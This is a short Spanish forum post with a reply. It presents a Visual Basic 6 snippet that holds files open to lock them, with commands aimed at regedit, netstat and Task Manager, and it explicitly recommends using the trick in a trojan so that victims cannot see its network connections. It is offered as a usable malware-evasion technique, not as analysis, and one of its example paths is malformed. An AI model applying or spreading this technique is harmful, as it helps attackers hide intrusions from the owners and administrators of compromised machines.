SI no queires que los usuarios lean archivos y registros de tus aplicaciones create un exe que simpre se este ejecutando y pones esto:

Private Sub Form_Load()
    Command$
    Open Command$ For Binary As #1
End Sub
Generas el exe y le llamas por ejemplo proteger.exe
Luego ejecutas

• Ejecuta "proteger.exe c:\windows\regedit.exe" ' no te dejara abrir el regedit.
  Ejecuta "proteger.exe c:\windows\system32\netstat.exe" El usuari no vera las conesiones ni los puertos abiertos
  ejecuta "proteger.exe c:\windows\c:\windows\system32 '\Taskmgr.exe" 'El usuario no podra abrir el adminstrador de tareas

Esto funciona con todos los archvios ya sean exe, archivos de texto imagenes ,etc
En un troyano es interesante cuando se inicie el servidor poner
 
Open "RutaexeNetstat.exe" For Binary As #1

buena data,. bastante interesante,. a mi tampoco se me abia ocurrido